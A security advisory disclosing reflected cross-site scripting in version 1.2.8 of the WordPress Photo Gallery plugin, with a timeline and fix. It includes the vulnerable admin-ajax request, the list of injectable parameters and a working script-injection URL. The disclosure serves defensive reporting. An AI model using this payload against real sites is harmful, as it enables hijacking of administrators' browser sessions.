WordPress Photo Gallery plugin version 1.2.8 suffers from a cross site scripting vulnerability.
5e09f504c2a41251b089a8e7c0f3be0f49c6c8b6a0af82aca50dfdce76422a3c
[CVE-2015-1394] Photo Gallery (Wordpress Plugin) - Multiple XSS Vulnerabilities Version 1.2.8
----------------------------------------------------------------
Product Information:
Software: Photo Gallery (Wordpress Plugin)
Tested Version: 1.2.8, released on 15.01.2015 and has over half a million downloads.
Vulnerability Type: Cross-site Scripting (CWE-79)
Download link to tested version: https://downloads.wordpress.org/plugin/photo-gallery.1.2.8.zip
Description: Photo Gallery is an advanced plugin with a list of tools and options for adding and editing images for different views. It is fully responsive. The product includes plugin for adding image galleries and albums to posts and pages, as well as multiple widgets. You can add images, providing detailed descriptions and tags, organize the galleries into different albums. (copied from https://wordpress.org/plugins/photo-gallery/)
----------------------------------------------------------------
Description of vulnerability:
When an authenticated user is uploading a picture to a gallery the following POST request is sent to the server:
POST /wordpress/wp-admin/admin-ajax.php?action=addImages&width=700&height=550&extensions=jpg,jpeg,png,gif&callback=bwg_add_preview_image& HTTP/1.1
Host: <IP>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: <Wordpress-Cookie>
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 484
importer_thumb_width=300&importer_thumb_height=300&importer_img_width=1200&importer_img_height=1200&upload_thumb_width=300&upload_thumb_height=300&upload_img_width=1200&upload_img_height=1200&files%5B%5D=&task=&extensions=jpg%2Cjpeg%2Cpng%2Cgif&callback=bwg_add_preview_image&sort_by=name&sort_order=asc&items_view=thumbs&dir=&file_names=&file_namesML=&file_new_name=&new_dir_name=&clipboard_task=&clipboard_files=&clipboard_src=&clipboard_dest=
The following parameters in the POST body are vulnerable to XSS:
- sort_by
- sort_order
- items_view
- dir
- clipboard_task
- clipboard_files
- clipboard_src
- clipboard_dest
The parameter sort_by can also be placed within the URL, all other parameters in the POST body can be deleted and the request method can be changed from POST to GET. Afterwards the following GET-request can be used to execute reflected XSS:
http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=addImages&width=700&height=550&extensions=jpg,jpeg,png,gif&callback=bwg_add_preview_image&sort_by=name"><script>alert(1)<%2fscript>
----------------------------------------------------------------
Impact:
User of the Wordpress Backend can be attacked through the XSS vulnerability, when an attacker is exploiting the various vulnerable parameters. Therefore an attacker could execute for example Website Spoofing or Inject malicious JavaScript code in order to use attacking tools like BeEF.
----------------------------------------------------------------
Solution:
Update to the latest version, which is 1.2.11, see https://wordpress.org/plugins/photo-gallery/.
----------------------------------------------------------------
Timeline:
Vulnerability found: 20.01.2015
Vendor informed: 21.01.2015
Response by vendor: 23.01.2015
Fix by vendor 25.01.2015
Public Advisory: 28.01.2015
----------------------------------------------------------------
Regards,
Sven Schleier